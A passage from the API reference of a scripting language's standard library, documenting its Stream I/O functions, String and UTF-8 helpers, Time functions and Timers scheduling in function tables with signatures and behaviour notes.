		with `SetTimeout` is back in force afterwards. `nil` for `limit` or `timeout` means the default; a negative `limit` means no limit, as for `Copy`, and `0` reads nothing. On a socket left non-blocking by `WaitReadable` or an `*Async` call it returns at once with what has already arrived, and `timeout` does not apply. Returns `nil` on a hard I/O error, and for a closed stream (`LastError()` `2`).	
ReadAsync	`ReadAsync(s:stream, count?:int, timeout?:int, cb?:fn) - fiber`	Async read. `count > 0` completes once exactly `count` bytes have arrived; `count` omitted, `0` or negative reads until EOF. A closed stream resolves to `nil` with `LastError()` `2`. `await` resolves to a `block`, or `nil`. A block can be shorter than `count` - empty when the stream had already ended - when EOF arrives first **or when the deadline fires after some bytes have arrived** — a timeout hands over what it already has rather than discarding it, so always check `len()`, and call `Stream.LastError()` (`1` = timed out) to tell a short block from a complete one. `nil` means a timeout with nothing received, or a hard error. A read that is not bounded by `count` stops at 2 GiB and reports `Stream.LastError() == 4`, so a peer that never closes cannot grow it without limit. `timeout` in ms; `<= 0` (default) = no deadline. With `cb`, `cb(block)` is invoked on completion and the awaited result is `nil`; a `cb` that raises is reported on stderr and the exception dropped.	—
ReadByte	`ReadByte(s:stream) - int`	Read one byte as integer (0–255). `nil` on EOF.	—
ReadBytes	`ReadBytes(s:stream, count:int) - block`	Read up to `count` bytes into a block. A short block is not an error: a peer close or a `SetTimeout` firing part-way keeps the bytes already read, and on a non-blocking socket it returns what has arrived, so check `len()` and loop until you have `count`. `nil` only when nothing at all was read: `LastError()` is `0` at end of file, `1` on a timeout - and for a `count` of `0` or less.	—
ReadLine	`ReadLine(s:stream, delim?:string|int) - string`	Read until `\n`, stripping a preceding `\r` (so `\r\n` and `\n` both work). A lone `\r` - also one right before the end of the stream - and an embedded NUL are data, not terminators. `delim` ends the line at another byte instead - a one-character string such as `"\r"` (a device that ends lines with CR alone) or `";"`, or a byte value `0`-`255` (`0` for NUL-separated records, which a string literal cannot hold); with it nothing else is stripped, so a CR before it stays part of the line. Anything else as `delim` raises. Nothing past the terminator is consumed, so a byte-oriented read may follow one directly. A blank line is `""`; end of file is `nil`, as it is for `ReadLineAsync`, so `while (line != nil)` terminates and a blank line inside the file does not end the loop. `nil` also comes back on error, on a read timeout and if the line passes 256 MB - `Stream.LastError()` tells them apart (`0` = clean end of file, `1` = the timeout set with `SetTimeout` or `Connect` passed, `4` = over the line cap, `6` = an OS error). A line cut off by a timeout stays buffered, so the next read starts at the beginning of it. On a serial port (Linux and macOS), and on a socket that has been used with	—

Function	Signature	Description	JIT
		`WaitReadable` or an `*Async` call, a line that has not fully arrived parks the calling fiber - other fibers run - until it does or, on a socket, until the read timeout passes.	
ReadLineAsync	`ReadLineAsync(s:stream, timeout?:int, cb?:fn, delim?:string|int) - fiber`	Async counterpart of `ReadLine`, with the same `delim` (pass `nil` for `timeout` and `cb` to give only a terminator). `await` resolves to one line with the terminator (and a preceding `\r`) stripped, or `nil` at EOF, on timeout, or on error. Like the synchronous call it consumes nothing past the terminator, so consecutive calls stay in step on a line protocol and a byte-oriented read may follow one directly. `timeout` in ms; `<= 0` (default) = no deadline. A stream that ends mid-line hands over the unterminated remainder (a trailing `\r` included), and the call after that is the `nil` for EOF - check `Stream.LastError()` (`0` = clean EOF, `1` = timed out, `4` = the line exceeded 256 MB). A line that times out, or is abandoned with `Fiber.CancelIo`, gives back what it had read, so the next read starts at the beginning of that line. With `cb`, `cb(line)` is invoked on completion and the awaited result is `nil`; a `cb` that raises is reported on stderr and the exception dropped. A closed stream resolves to `nil` with `LastError()` `2`.	—
ReadString	`ReadString(s:stream, count:int) - string`	Read `count` bytes as string - fewer, like `ReadBytes`, at end of file, on a timeout or from a non-blocking socket that has not received them all yet. Binary-safe: an embedded NUL is data, so the result is as long as what was read. `nil` with nothing read, with `LastError()` saying why, and for a `count` of `0` or less, as for `ReadBytes`.	—
Seek	`Seek(s:stream, pos:int, whence?:int) - bool`	Seek a file stream. `whence`: `0` from start (default), `1` from the current position, `2` from the end (`pos` may be negative); any other `whence` raises. Returns `true` on success, `false` for a position before the start (`LastError()` `6`) or a stream that cannot seek (`5`).	✓
SendFile	`SendFile(s:stream, path:string, offset?:int, count?:int) - int`	Zero-copy file-to-socket transfer (`sendfile` on Linux and macOS/BSD); what the kernel path cannot take - a TLS stream, a file or pipe on macOS, targets without it such as OpenWrt - is copied instead. Returns the bytes sent: all of them on a blocking socket; on a non-blocking one that fills, what fit, so call again from `offset` plus that count (with nothing sent yet it waits for room, like a write). `count` defaults to the rest of the file, as does a negative `count`; `0` - or an `offset` at or past the end - sends nothing and returns `0`. `nil` when nothing could be sent: a missing file or a negative `offset` (`LastError()` `6`), a closed stream (`2`), a reader that is gone (`3`), a write timeout with nothing sent (`1`).	—
SetKeepAlive	`SetKeepAlive(s:stream, on:bool) - bool`	Enable/disable TCP keep-alive probes (`SO_KEEPALIVE`) on a TCP socket. Returns `true` if set; `false` for anything but a TCP socket (`LastError()` `5`).	—
SetNoDelay	`SetNoDelay(s:stream, on:bool) - bool`	Enable/disable `TCP_NODELAY` (disable Nagle) so small writes go out immediately. Returns `true` if set; `false` for anything but a TCP socket (`LastError()` `5`).	—

Function	Signature	Description	JIT
SetTimeout	`SetTimeout(s:stream, readMs:int, writeMs?:int) - bool`	Set read and write timeouts in milliseconds on a socket stream. If `writeMs` is omitted, both directions use `readMs`; `0` removes a timeout. `false` for anything but a socket (`LastError() 5`), or a negative time (`6`).	—
Shutdown	`Shutdown(s:stream, how:string) - bool`	Half-close a socket. `how`: `"r"` stops reads, `"w"` stops writes (sends EOF to the peer while the read side stays open), anything else shuts both. Returns `true` on success; `false` for anything but a connected TCP socket - a listener or a UDP socket included (`LastError() 5`).	—
Size	`Size(s:stream) - int`	Byte length of the underlying file, including output the stream still holds back (it is delivered first). `nil` for anything but a regular file - a socket, pipe or terminal (`LastError() 5`) - or on error (`6`).	—
Stderr	`Stderr() - stream`	A `dup()` of the process stderr as a writable stream. Closing it (or its GC) leaves the real stderr open.	—
Stdin	`Stdin() - stream`	The process stdin as a readable stream: the same stream on every call, shared with `Console`'s reads, so neither loses what the other read ahead. Closing it leaves the real stdin open; the next call opens a fresh one, and what the closed one had read ahead is gone.	—
Stdout	`Stdout() - stream`	A `dup()` of the process stdout as a writable stream. Closing it leaves the real stdout open.	—
Tell	`Tell(s:stream) - int`	Current byte offset, or `-1` when the stream cannot seek - a pipe, socket or TLS session (`LastError() 5`).	✓
Truncate	`Truncate(s:stream, size:int) - bool`	Grow or shrink the file to exactly `size` bytes. Returns `true` on success, `false` for a negative `size` (`LastError() 6`) or a stream that is not a file (`5`).	✓
WaitReadable	`WaitReadable(s:stream, timeoutMs?:int) - bool`	Park the calling fiber until `s` (typically a listen socket from `Listen`) becomes readable. Resumes with `true` on readiness, `nil` on timeout. `timeoutMs <= 0` (default `-1`) waits without a deadline. Suspends without `await` — callable from a plain function, so a server loop is `while (Stream.WaitReadable(srv, -1)) { let c = Stream.Accept(srv); ... }`. On a socket this leaves the descriptor non-blocking for good (async slots re-arm it, and a socket may have read and write armed at once); synchronous calls on it then wait by parking the fiber - see above. On Windows only a socket can be waited on: a pipe or a file raises. A closed stream gives `nil` with `LastError() 2`.	—
WriteAll	`WriteAll(s:stream, data:string|block) - bool`	Write all bytes, retrying on partial writes. A block writes all of its bytes: element count × element size. `false` on a write error, a write timeout or a closed stream; `LastError()` says which.	✓
WriteAsync	`WriteAsync(s:stream, data:string|block, timeout?:int) - fiber`	Async write of all of `data`. `await` resolves to the bytes written (int). **A deadline that fires part-way still resolves to a count** - the bytes already delivered - so compare it with the size of `data` in bytes (`len(data)` for a string or a buffer of 1-byte elements) rather than treating any int as success, and resume from that offset if you need the rest; `Stream.LastError()` reports `1` for the short case and `0` for a complete one. `nil` means nothing was delivered at all, or a hard I/O error, where no resume is possible; a closed	—

Function	Signature	Description	JIT
		stream resolves to `nil` with `LastError()` `2`. The write is tried at once and waits only for what does not fit. `timeout` in ms; `<= 0` (default) = no deadline. `data` is retained while the write is in flight.	
WriteByte	`WriteByte(s:stream, value:int) - bool`	Write single byte: the low 8 bits of `value`. Returns `true` on success, `false` on a write error (`LastError()` says why).	✓
WriteBytes	`WriteBytes(s:stream, buf:block, count:int) - int`	Write `count` bytes from block, at most its size in bytes (element count × element size); returns bytes written - fewer only when a `SetTimeout` write timeout cut it off - or `-1` on failure (`LastError()` says why). A `count` of `0` or less writes nothing and returns `0`.	✓
WriteString	`WriteString(s:stream, s:string) - bool`	Write the string's bytes — all of them, including any embedded NUL. `false` on a write error, a write timeout or a closed stream; `LastError()` says which. A file holds output back, so an error delivering it can also surface later, at `Flush` or `Close`.	✓
ReadU8	`ReadU8(s:stream) - int`	Read one unsigned byte (0–255). Returns `nil` on EOF.	—
ReadU16	`ReadU16(s:stream, bigEndian?:bool) - int`	Read 2 bytes as unsigned 16-bit integer. Default little-endian. `nil` on EOF.	—
ReadU32	`ReadU32(s:stream, bigEndian?:bool) - int`	Read 4 bytes as unsigned 32-bit integer. Default little-endian. `nil` on EOF.	—
ReadU64	`ReadU64(s:stream, bigEndian?:bool) - int`	Read 8 bytes as 64-bit integer (all bits set reads as `-1`). Default little-endian. `nil` on EOF.	—
WriteU8	`WriteU8(s:stream, value:int) - bool`	Write one byte. Returns `true` on success.	✓
WriteU16	`WriteU16(s:stream, value:int, bigEndian?:bool) - bool`	Write 2 bytes. Default little-endian. Returns `true` on success.	✓
WriteU32	`WriteU32(s:stream, value:int, bigEndian?:bool) - bool`	Write 4 bytes. Default little-endian. Returns `true` on success.	✓
WriteU64	`WriteU64(s:stream, value:int, bigEndian?:bool) - bool`	Write 8 bytes. Default little-endian. Returns `true` on success.	✓
ReadI8	`ReadI8(s:stream) - int`	Read one signed byte (–128…127). `nil` on EOF.	—
ReadI16	`ReadI16(s:stream, bigEndian?:bool) - int`	Read a signed 16-bit integer. Default little-endian. `nil` on EOF.	—
ReadI32	`ReadI32(s:stream, bigEndian?:bool) - int`	Read a signed 32-bit integer. Default little-endian. `nil` on EOF.	—
ReadI64	`ReadI64(s:stream, bigEndian?:bool) - int`	Read a signed 64-bit integer. Default little-endian. `nil` on EOF.	—
ReadF32	`ReadF32(s:stream, bigEndian?:bool) - float`	Read a 32-bit IEEE-754 float. Default little-endian. `nil` on EOF.	—
ReadF64	`ReadF64(s:stream, bigEndian?:bool) - float`	Read a 64-bit IEEE-754 double. Default little-endian. `nil` on EOF.	—
WriteF32	`WriteF32(s:stream, value:float, bigEndian?:bool) - bool`	Write a 32-bit IEEE-754 float. Default little-endian.	✓
WriteF64	`WriteF64(s:stream, value:float, bigEndian?:bool) - bool`	Write a 64-bit IEEE-754 double. Default little-endian.	✓

Function	Signature	Description	JIT
ReadVarint	`ReadVarint(s:stream) - int`	Decode an unsigned LEB128 varint (1–10 bytes). `nil` on EOF/truncation or an over-long encoding.	—
WriteVarint	`WriteVarint(s:stream, value:int) - bool`	Encode `value` as an unsigned LEB128 varint. Returns `true` on success.	✓

Stream instance method syntax

All `Stream` functions where the stream is the first argument can be called directly on a `stream` value:

```
let s = Stream.Open("data.bin", "r");
s.ReadLine()          // same as Stream.ReadLine(s)
s.ReadByte()          // same as Stream.ReadByte(s)
s.WriteByte(0x0A)     // same as Stream.WriteByte(s, 0x0A)
s.Seek(0)             // same as Stream.Seek(s, 0)
s.Tell()              // same as Stream.Tell(s)
s.IsOpen()            // same as Stream.IsOpen(s)
s.Flush()             // same as Stream.Flush(s)
s.Close()             // same as Stream.Close(s)
```

Factory functions (`Open`, `Connect`, `Listen`, `Pipe`, `OpenSerial`) are not available as instance methods. Both forms compile to identical bytecode when the variable is typed (`: stream` or inferred from a builtin return). Untyped variables fall back to a runtime dispatch.

String

Namespace: **`String`**

UTF-8 string operations. `Length` returns **byte count**; use `Utf8Length` for codepoint count.

All `String` functions can also be called directly on a string value:

```
let s = "Hello, World!";
s.Length()             // 13    - same as String.Length(s)
s.ToLower()            // "hello, world!"
s.Contains("World")    // true
s.Substr(7, 5)         // "World"
s.Replace("o", "0")    // "Hell0, W0rld!"
s.Split(",")           // ["Hello", " World!"]
"  hi  ".Trim()        // "hi"
```

Both forms compile to identical bytecode when the variable is typed (`: string` or inferred from a builtin return). Untyped variables fall back to a runtime dispatch.

Building strings in a loop. `s += piece` is linear: when `s` is the only reference to its value, the piece is appended into the existing buffer (which grows geometrically) instead of copying the whole accumulated string each time. Building 80,000 pieces costs about 2 ms.

The optimization is invisible to program semantics - strings remain values. As soon as the value is shared, the append falls back to producing a fresh string, so an alias never observes a later mutation:

```
let s = "hello";
let t = s;      // t shares the value
s += " world";  // s becomes a new string; t is still "hello"
```

`String.Join(parts, sep)` is still the better choice when the pieces are already in an array, since it sizes the result once.

Every function that returns a string returns a **new** one, even when nothing changed (`Trim` of an already-trimmed string, `Replace` with no match, `PadLeft` to a smaller width), so an in-place `r[i] = ch` on a result never reaches the argument.

Searches and predicates are byte-exact over the whole string: text read from a file or buffer may contain NUL bytes, and `Contains`, `IndexOf`, `Split`, `Count`, `Trim`, the `Is*` classifiers and the rest see past them exactly as `Length` does.

A `nil` argument in a string position never crashes and follows one policy: transforms and formatters return `nil`, predicates return `false`, index searches return `-1`, `Count` returns `0`; `Length` and `CharAt` treat `nil` as the empty string. The exceptions are `IsNullOrEmpty` and `IsNullOrWhitespace`, which exist to test for `nil` and return `true` for it.

Function	Signature	Description	JIT
CharAt	`CharAt(s:string, pos:int) – char`	Character at byte position `pos` as a `char` immediate. Returns `'\0'` if `pos` is out of range. Zero allocation - prefer over `Substr(s, pos, 1)` in tight loops.	✓
Contains	`Contains(s:string, sub:str|char) – bool`	`true` if `sub` appears anywhere in `s`. A char matches its UTF-8 bytes, as `c in s` does.	✓
Count	`Count(s:string, sub:string) – int`	Returns the number of non-overlapping occurrences of `sub` in `s`. Returns `0` if `sub` is empty.	✓
Create	`Create(n:int, fill?:int|char) – string`	Create a mutable string of length `n` filled with `fill` (default space). Returns `""` for `n ≤ 0`, `nil` for `n` exceeding the string size limit or `fill` outside 1–255 (a NUL fill would embed `'\0'` bytes and corrupt length bookkeeping). Intended for use with JIT functions that write characters in-place via `s[i] = ch`.	✓ owned[1]
Empty	`Empty – string`	Property: the empty string constant `""`. Not a function.	—
EndsWith	`EndsWith(s:string, suffix:string) – bool`	`true` if `s` ends with `suffix`.	✓
EqualsIgnoreCase	`EqualsIgnoreCase(a:string, b:string) – bool`	Case-insensitive equality. ASCII only (`A–Z` folds to `a–z`) and locale-independent, matching `ToLower` / `ToUpper`; non-ASCII bytes compare exactly, so `"Å"` and `"å"` are **not** equal.	✓
Format	`Format(fmt:string, ...args) – string`	C#-style positional formatting: `{0}`, `{1,width}` (negative width = left-align), `{0:X4}` / `{0:x}` hex, `{0:D3}` zero-padded decimal, `{0:F2}` or `{0:.2f}` fixed-point (ints included: `{0:F2}` of `5` is `"5.00"`). `{{` and `}}` emit literal braces. The template is used **literally** - a source literal's escapes are already expanded by the compiler, so `fmt` is never unescaped again and a `\t` in e.g. a	—

Function	Signature	Description	JIT
		Windows path survives. `:X` / `:x` / `:D` / `:d` require an int and yield `nil` otherwise; `:F` on a non-number falls back to the value's default rendering. A plain `{0}` renders every value exactly as `str()` does. Returns `nil` on a malformed template, including an unknown spec letter such as `{0:N}`. At least 1 arg required. Interpolated `$"... {x}..."` literals compile to this call; a spec such as `{x:X4}` in a hole is not valid source - pass the spec to `Format` directly.	
FormatArray	`FormatArray(fmt:string, values:array) - string`	Like `Format`, but placeholder indices `{0}`, `{1}`, … refer to elements of `values`. Identical grammar and rendering - both share one engine. Returns `nil` on a malformed template or out-of-range index.	✓ owned[1]
IndexOf	`IndexOf(s:string, sub:str|char) - int`	Byte index of first occurrence of `sub`, or `-1`. A char matches its UTF-8 bytes: `IndexOf("aeiou", c)`.	✓
IndexOfAnyFrom	`IndexOfAnyFrom(s:string, charset:string, start:int) - int`	Byte index of the first byte of `s` (starting from `start`) that appears anywhere in `charset`, or `-1`. One linear scan with a constant-time membership test - efficient for finding the first of several possible delimiter characters.	✓
IndexOfFrom	`IndexOfFrom(s:string, sub:str|char, start:int) - int`	Byte index of first occurrence of `sub` at or after byte offset `start`, or `-1`. An empty `sub` returns `start` (up to `Length(s)`). Avoids allocating a substring; use instead of `IndexOf(Substr(s, start))` in parsing loops.	✓
LastIndexOf	`LastIndexOf(s:string, sub:str|char) - int`	Byte index of the **last** occurrence of `sub`, or `-1`. An empty `sub` returns `Length(s)` (as `IndexOf` returns `0`).	✓
LastIndexOfAny	`LastIndexOfAny(s:string, charset:string) - int`	Byte index of the last character of `s` that appears anywhere in `charset`, or `-1`. Use to split on the last of several delimiters, e.g. `LastIndexOfAny(path, "/\\")`.	✓
Insert	`Insert(s:string, pos:int, sub:string) - string`	Insert `sub` at byte position `pos`.	✓ owned[1]
IsAlnum	`IsAlnum(s:string) - bool`	`true` if all characters are alphanumeric. `false` for `""`.	✓
IsAlpha	`IsAlpha(s:string) - bool`	`true` if all characters are alphabetic. `false` for `""`.	✓
IsEmpty	`IsEmpty(s:string) - bool`	`true` if `s` is `""`. `false` for `nil`; use `IsNullOrEmpty` to accept both. Constant time.	✓
IsUpper	`IsUpper(s:string) - bool`	`true` if all alphabetic characters are uppercase and at least one alphabetic character is present, so `"A1"` is `true` but `"123"` and `""` are `false`.	✓
IsLower	`IsLower(s:string) - bool`	`true` if all alphabetic characters are lowercase and at least one alphabetic character is present, so `"a1"` is `true` but `"123"` and `""` are `false`.	✓
IsNullOrEmpty	`IsNullOrEmpty(s:string) - bool`	`true` if `s` is `nil` or `""`.	✓
IsNullOrWhitespace	`IsNullOrWhitespace(s:string) - bool`	`true` if `s` is `nil`, `""`, or only whitespace - the same answer as `s == nil || Trim(s) == ""`, without allocating. Whitespace is the ASCII set `Trim` strips (space, `\t`, `\n`, `\v`, `\f`, `\r`); a non-breaking space (U+00A0) is not whitespace.	✓
IsNumeric	`IsNumeric(s:string) - bool`	`true` if all characters are numeric digits. `false` for `""`.	✓
IsWhitespace	`IsWhitespace(s:string) - bool`	`true` if all characters are whitespace. `false` for `""`; `IsNullOrWhitespace` counts it as blank.	✓

Function	Signature	Description	JIT
Join	`Join(arr:array, sep:str|char) – string`	Concatenate array elements with separator.	✓ owned[1]
JsonPretty	`JsonPretty(json:string) – string`	Pretty-print JSON with 2-space indent (same as `Json.Format(json)`); input that is not valid JSON is returned unchanged.	✓ owned[1]
Left	`Left(s:string, n:int) – string`	Return first `n` bytes.	✓ owned[1]
Length	`Length(s:string) – int`	Byte length of string.	✓
Levenshtein	`Levenshtein(a:string, b:string) – int`	Edit distance (insert/delete/substitute) between the strings. Byte-based (equals character distance for ASCII). O(n·m) in C - use for "did you mean", fuzzy matching, dedup. Raises if `n*m` exceeds 100M rather than stalling the VM on huge inputs. `nil` counts as `""`.	✓
NaturalCompare	`NaturalCompare(a:string, b:string) – int`	Three-way compare with digit runs compared numerically, so `"file2" < "file10"`. ASCII case-insensitive with a byte-wise tiebreak (total, deterministic order). Sort naturally: `Array.Sort(arr, fn(x,y) { return String.NaturalCompare(x,y) < 0; })`. `nil` counts as `""`.	✓
ProcessCallback	`ProcessCallback(fn:function, s:string, len:int, cb:function) – nil`	Processes a string with your worker function `fn(s, len)`, then calls `cb(s, result)` when finished. A **read-only** kernel (reads `s[i]`, returns an `int` / `float` — a hash, checksum, count, or scan) runs on another CPU core when simple enough; a kernel that **writes** to the string runs normally (inline) so the string stays correct. Returns immediately. See `Buffer.ProcessCallback`.	✓
ProcessEvent	`ProcessEvent(fn:function, s:string, len:int, eventId:int) – nil`	Like `ProcessCallback`, but signals event `eventId` with the result instead of calling a callback. Wait for several with `Event.WaitFor([ids])`.	✓
PadLeft	`PadLeft(s:string, width:int, fill?:str|char) – string`	Left-pad to `width` bytes with `fill` (default space; a string fill uses its first byte). `fill` must be ASCII - a NUL or non-ASCII fill returns `nil`.	✓ owned[1]
PadRight	`PadRight(s:string, width:int, fill?:str|char) – string`	Right-pad to `width` bytes with `fill`; same `fill` rules as `PadLeft`.	✓ owned[1]
Repeat	`Repeat(s:string, n:int) – string`	Concatenate `s` with itself `n` times. Returns `""` for `n ≤ 0` and `nil` if the result would exceed the string size limit.	✓ owned[1]
Replace	`Replace(s:string, old:string, new:string, count?:int) – string`	Replace occurrences of `old` with `new`, left to right. Without `count` (or with a negative one) every occurrence is replaced; `0` replaces none. Matching is non-overlapping, so `Replace("aaa", "aa", "b")` is `"ba"`.	✓ owned[1]
Reverse	`Reverse(s:string) – string`	Reverse the characters of a string. A multi-byte UTF-8 character keeps its bytes in order, so valid text stays valid: `Reverse("héj")` is `"jéh"`. A byte that is not part of a valid UTF-8 character moves on its own.	✓ owned[1]
Right	`Right(s:string, n:int) – string`	Return last `n` bytes.	✓ owned[1]
Sanitize	`Sanitize(s:string) – string`	Keep only ASCII letters, digits and `_`; every other character (spaces, punctuation, non-ASCII) is removed. Useful for identifiers/filenames.	✓ owned[1]
Fields	`Fields(s:string) – array`	Split around **runs** of whitespace, discarding empty parts, so leading/trailing/repeated spaces are absorbed: `Fields("`	—

Function	Signature	Description	JIT
		`a b ")` is `["a","b"]` where `Split(s, " ")` would yield empty parts. The usual way to tokenise a line.	
Split	`Split(s:string, sep:str|char, limit?:int) - array`	Split by separator; returns array of strings. With a positive `limit` the result holds at most that many parts and the last keeps the unsplit remainder (`Split("a,b,c", ",", 2)` is `["a","b,c"]`); `limit ≤ 0` means no limit.	—
SplitLines	`SplitLines(s:string) - array`	Split by newlines; returns array of strings.	—
StartsWith	`StartsWith(s:string, prefix:string) - bool`	`true` if `s` starts with `prefix`.	✓
Substr	`Substr(s:string, start:int, len?:int) - string`	Byte substring from `start`, `len` bytes long, or to the end when `len` is left out. A negative `start` counts as 0 and a `len` past the end stops there; a negative `len` or a `start` past the end gives `""`.	✓ owned[1]
ToAscii	`ToAscii(s:string, replacement?:str|char|int) - string`	Replace every non-ASCII codepoint with `replacement` (default `'?'`). The replacement must be ASCII 1-127, else `nil`; `nil` on invalid UTF-8.	✓ owned[1]
ToLower	`ToLower(s:string) - string`	Lowercase ASCII characters. Non-ASCII is left untouched - use `Utf8ToLower` for Unicode.	✓ owned[1]
ToUpper	`ToUpper(s:string) - string`	Uppercase ASCII characters. Non-ASCII is left untouched - use `Utf8ToUpper` for Unicode.	✓ owned[1]
Trim	`Trim(s:string, cutset?:str|char) - string`	Remove leading and trailing whitespace, or every leading/trailing character present in `cutset` when given. An empty `cutset` trims nothing.	✓ owned[1]
TrimLeft	`TrimLeft(s:string, cutset?:str|char) - string`	Remove leading whitespace, or leading `cutset` characters.	✓ owned[1]
TrimRight	`TrimRight(s:string, cutset?:str|char) - string`	Remove trailing whitespace, or trailing `cutset` characters.	✓ owned[1]
Truncate	`Truncate(s:string, maxLen:int) - string`	Shorten to at most `maxLen` bytes, ending in `"..."` when cut (`Truncate("hello world", 5)` is `"he..."`). A `maxLen` of 3 or less cuts without the ellipsis; a string that fits comes back as an unchanged copy.	✓ owned[1]

UTF-8 helpers:

Function	Signature	Description	JIT
Utf8ByteIndexOf	`Utf8ByteIndexOf(s:string, cpIndex:int) - int`	Byte offset of codepoint at index `cpIndex`.	✓
Utf8Concat	`Utf8Concat(...parts:str|char|int) - string`	Concatenate strings, chars, or codepoints. 1–5 args; `nil` parts are skipped. A codepoint of 0, a surrogate or one above U+10FFFF returns `nil`.	✓ owned[1]
Utf8CpAt	`Utf8CpAt(s:string, bytePos:int) - char`	Codepoint at byte position `bytePos`: `'\0'` outside the string, U+FFFD for an invalid byte.	✓
Utf8CpNext	`Utf8CpNext(s:string, bytePos:int) - int`	Byte offset of the codepoint after the one at `bytePos`: the length at the end, `0` for a negative `bytePos`. An invalid byte is one codepoint wide, so a walk from `0` takes exactly `Utf8Length` steps.	✓
Utf8GetCharAt	`Utf8GetCharAt(s:string, cpIndex:int) - char`	Character at codepoint index `cpIndex`: `'\0'` outside the string, U+FFFD for an invalid byte.	✓
Utf8Length	`Utf8Length(s:string) - int`	Number of Unicode codepoints; an invalid byte counts as one (U+FFFD).	✓
Utf8Substr	`Utf8Substr(s:string, cpStart:int, cpLen:int) - string`	Substring by codepoint indices. `nil` when the range falls outside the string (unlike the clamping `Substr`)	✓ owned[1]

Function	Signature	Description	JIT
		or on invalid UTF-8.	
Utf8ToLower	`Utf8ToLower(s:string) - string`	Unicode-aware lowercase: `Utf8ToLower("ÅÄÖ")` is `"åäö"`, where the ASCII-only `ToLower` leaves it unchanged. Uses the same tables as `Char.ToLower`; uncased codepoints pass through. Returns `nil` on invalid UTF-8.	✓ owned[1]
Utf8ToUpper	`Utf8ToUpper(s:string) - string`	Unicode-aware uppercase: `Utf8ToUpper("åäö")` is `"ÅÄÖ"`. Returns `nil` on invalid UTF-8.	✓ owned[1]

Time

Namespace: `Time`

Unix timestamp manipulation (seconds since epoch). `timestamp` is always `int`. Wall-clock time (`Now`, `NowMillis`) is Unix time; monotonic time (`Millis`, `Ticks`) has an arbitrary epoch and is only meaningful as a delta. All broken-down fields and formatting are UTC. The richer calendar/timezone API (local zones, leap years, durations, relative "ago") lives in the `Datetime` library.

The UTC functions (`Format`, `Parse`, `Year` ... `Weekday`, the `Add*` family) work for any `int` timestamp on every platform. Local time comes from the operating system, so `TimeZoneOffsetMins` answers `0` (UTC) for an instant the system cannot place.

Function	Signature	Description	JIT
AddDays	`AddDays(t:int, n:number) - int`	Add `n` days to timestamp. Fractional values allowed; `nil` if the result would overflow.	✓
AddHours	`AddHours(t:int, n:number) - int`	Add `n` hours to timestamp. Fractional values allowed; `nil` if the result would overflow.	✓
AddMinutes	`AddMinutes(t:int, n:number) - int`	Add `n` minutes to timestamp. Fractional values allowed; `nil` if the result would overflow.	✓
AddSeconds	`AddSeconds(t:int, n:number) - int`	Add `n` seconds to timestamp. Fractional values allowed; `nil` if the result would overflow.	✓
AddWeeks	`AddWeeks(t:int, n:number) - int`	Add `n` weeks to timestamp. Fractional values allowed; `nil` if the result would overflow.	✓
Day	`Day(t:int) - int`	Day of month (1–31).	✓
DiffDays	`DiffDays(a:int, b:int) - int`	Whole days between two timestamps (`a - b`), truncated toward zero.	✓
Format	`Format(t:int, fmt?:string) - string`	Format timestamp as string (UTC). Named aliases: `"short"` (`YYYY-MM-DD`), `"long"` / `"log"` (`YYYY-MM-DD HH:MM:SS`), `"time"` (`HH:MM:SS`), `"iso"` (`YYYY-MM-DDTHH:MM:SSZ`). Default: `"long"`. Custom strftime patterns also accepted (capped at 128 chars); `%z` is always `+0000` and `%Z` always `UTC`. An empty pattern yields `""`. `nil` on a bad time or format failure.	✓ owned[1]
FromMillis	`FromMillis(ms:int) - int`	Convert epoch milliseconds to seconds (truncate). Inverse of `ToMillis`.	✓
Hour	`Hour(t:int) - int`	Hour (0–23).	✓
Millis	`Millis() - int`	Monotonic millisecond timestamp for timing/intervals. The epoch is arbitrary (not Unix time); use only for deltas. For wall-clock milliseconds use `NowMillis`.	✓
Minute	`Minute(t:int) - int`	Minute (0–59).	✓
Month	`Month(t:int) - int`	Month (1–12).	✓

Function	Signature	Description	JIT
Now	`Now() - int`	Current Unix timestamp in seconds.	✓
NowMillis	`NowMillis() - int`	Current Unix time in whole milliseconds (wall clock). `FromMillis(NowMillis()) == Now()`.	✓
Parse	`Parse(s:string, fmt?:string) - int|nil`	Parse timestamp string (UTC). Named aliases: `"ISO"` (default, `%Y-%m-%dT%H:%M:%S`), `"RFC"` (`%a, %d %b %Y %H:%M:%S`), `"DATE_ONLY"` (`%Y-%m-%d`). Custom strptime patterns also accepted. `%z` reads a numeric offset (`+hhmm`) and yields the UTC instant; `%Z` matches `UTC` or `GMT`. `Parse(Format(t, fmt), fmt) == t` for a pattern that carries every field. Returns `nil` on failure.	✓
Second	`Second(t:int) - int`	Second (0–59).	✓
Ticks	`Ticks() - int`	Monotonic nanosecond counter. The epoch is undefined; use only for deltas with `TicksToMs` / `TicksToUs`.	✓
TicksToMs	`TicksToMs(ticks:int) - float`	Convert a nanosecond tick delta to milliseconds. Example: `Time.TicksToMs(Time.Ticks() - t0)` - `1.234`	✓
TicksToUs	`TicksToUs(ticks:int) - float`	Convert a nanosecond tick delta to microseconds. Example: `Time.TicksToUs(Time.Ticks() - t0)` - `1234.5`	✓
TimeZoneOffsetMins	`TimeZoneOffsetMins(t?:int) - int`	Local timezone offset in minutes from UTC, DST-aware. Uses the current time, or the given timestamp. `0` (UTC) when the system cannot place the instant.	✓
ToMillis	`ToMillis(seconds:int) - int`	Convert whole seconds to milliseconds. Inverse of `FromMillis`.	✓
Weekday	`Weekday(t:int) - int`	Day of week: 0=Sunday … 6=Saturday.	✓
Year	`Year(t:int) - int`	The year, e.g. 2026. Every timestamp has one: far past and future years are returned in full.	✓

Timers

Namespace: **`Timers`**

Fiber-based timer scheduling. Max 256 simultaneous timers. Timer resolution is approx 1-3ms. Every `Set*` function raises `InvalidArguments` when `func` is `nil`.

Function	Signature	Description	JIT
Cancel	`Cancel(id:int|float) - bool`	Cancel a timer by its handle; `false` for a handle that is not live (a fired one-shot, an already-cancelled timer, or a number that never was one). Handles are never reused, so a stale handle can never hit a newer timer.	—
IsActive	`IsActive(id:int|float) - bool`	`true` if `id` refers to a live timer (a scheduled one-shot not yet fired, or a still-repeating interval).	—
SetAtTime	`SetAtTime(timestamp:int|float, func:fn ) - int|nil`	Fire `fn` once at the given **Unix timestamp** (seconds since epoch); a time already in the past fires as soon as possible. Returns a handle, or `nil` on a NaN timestamp or when the timer table (max 256) is full.	—
SetImmediate	`SetImmediate(func:fn ) - int|nil`	Fire `fn` on the next scheduler pump (a zero-delay one-shot), akin to Node's `setImmediate`. Returns a handle, or `nil` when the timer table is full.	—
